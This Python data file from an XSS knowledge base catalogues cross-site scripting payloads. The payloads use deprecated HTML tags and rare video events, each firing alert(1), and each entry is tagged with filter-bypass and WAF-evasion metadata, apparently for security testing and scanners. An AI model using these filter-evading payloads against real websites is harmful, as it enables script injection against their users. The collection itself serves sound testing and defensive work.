#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Ultra Deep XSS Payloads - Part 1
Ancient browser tags and extremely rare events.
"""

from ..models import PayloadEntry


BRS_KB_ULTRA_DEEP_PAYLOADS_PART1 = {
    # ============================================================
    # ANCIENT BROWSER TAGS (SOME STILL PARSED)
    # ============================================================
    "ancient-acronym": PayloadEntry(
        payload='<acronym onmouseover="alert(1)">XSS</acronym>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Acronym tag (deprecated but parsed)",
        tags=["ancient", "acronym"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-applet": PayloadEntry(
        payload='<applet code="XSS" codebase="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Applet tag (deprecated)",
        tags=["ancient", "applet"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=[],
        reliability="low",
    ),
    "ancient-basefont": PayloadEntry(
        payload='<basefont onload="alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Basefont tag (deprecated)",
        tags=["ancient", "basefont"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=[],
        reliability="low",
    ),
    "ancient-blink": PayloadEntry(
        payload='<blink onclick="alert(1)">click</blink>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Blink tag (Netscape)",
        tags=["ancient", "blink"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["firefox"],
        reliability="low",
    ),
    "ancient-center": PayloadEntry(
        payload='<center onclick="alert(1)">click</center>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Center tag (deprecated but works)",
        tags=["ancient", "center"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-dir": PayloadEntry(
        payload='<dir onclick="alert(1)"><li>x</li></dir>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Dir tag (deprecated but works)",
        tags=["ancient", "dir"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-font": PayloadEntry(
        payload='<font onclick="alert(1)">click</font>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Font tag (deprecated but works)",
        tags=["ancient", "font"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-frame": PayloadEntry(
        payload='<frameset><frame src="javascript:alert(1)"></frameset>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Frame/Frameset tags",
        tags=["ancient", "frame"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "ancient-noframes": PayloadEntry(
        payload='<noframes><img src=x onerror="alert(1)"></noframes>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Noframes fallback content",
        tags=["ancient", "noframes"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-strike": PayloadEntry(
        payload='<strike onclick="alert(1)">click</strike>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Strike tag (deprecated but works)",
        tags=["ancient", "strike"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-tt": PayloadEntry(
        payload='<tt onclick="alert(1)">click</tt>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="TT tag (teletype, deprecated)",
        tags=["ancient", "tt"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ancient-big": PayloadEntry(
        payload='<big onclick="alert(1)">click</big>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Big tag (deprecated but works)",
        tags=["ancient", "big"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # EXTREMELY RARE EVENTS
    # ============================================================
    "event-onloadeddata": PayloadEntry(
        payload='<video onloadeddata="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video loadeddata event",
        tags=["event", "video", "loadeddata"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onloadedmetadata": PayloadEntry(
        payload='<video onloadedmetadata="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video loadedmetadata event",
        tags=["event", "video", "loadedmetadata"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-oncanplay": PayloadEntry(
        payload='<video oncanplay="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video canplay event",
        tags=["event", "video", "canplay"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-oncanplaythrough": PayloadEntry(
        payload='<video oncanplaythrough="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video canplaythrough event",
        tags=["event", "video", "canplaythrough"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-ondurationchange": PayloadEntry(
        payload='<video ondurationchange="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video durationchange event",
        tags=["event", "video", "durationchange"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onemptied": PayloadEntry(
        payload='<video onemptied="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video emptied event",
        tags=["event", "video", "emptied"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    "event-onended": PayloadEntry(
        payload='<video onended="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video ended event",
        tags=["event", "video", "ended"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onpause": PayloadEntry(
        payload='<video onpause="alert(1)" autoplay><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video pause event",
        tags=["event", "video", "pause"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onplay": PayloadEntry(
        payload='<video onplay="alert(1)" autoplay><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video play event",
        tags=["event", "video", "play"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onplaying": PayloadEntry(
        payload='<video onplaying="alert(1)" autoplay><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video playing event",
        tags=["event", "video", "playing"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onprogress": PayloadEntry(
        payload='<video onprogress="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video progress event",
        tags=["event", "video", "progress"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onratechange": PayloadEntry(
        payload='<video onratechange="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video ratechange event",
        tags=["event", "video", "ratechange"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onseeked": PayloadEntry(
        payload='<video onseeked="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video seeked event",
        tags=["event", "video", "seeked"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onseeking": PayloadEntry(
        payload='<video onseeking="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video seeking event",
        tags=["event", "video", "seeking"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onstalled": PayloadEntry(
        payload='<video onstalled="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video stalled event",
        tags=["event", "video", "stalled"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    "event-onsuspend": PayloadEntry(
        payload='<video onsuspend="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video suspend event",
        tags=["event", "video", "suspend"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-ontimeupdate": PayloadEntry(
        payload='<video ontimeupdate="alert(1)" autoplay><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video timeupdate event",
        tags=["event", "video", "timeupdate"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onvolumechange": PayloadEntry(
        payload='<video onvolumechange="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video volumechange event",
        tags=["event", "video", "volumechange"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "event-onwaiting": PayloadEntry(
        payload='<video onwaiting="alert(1)"><source src="x.mp4"></video>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video waiting event",
        tags=["event", "video", "waiting"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
}
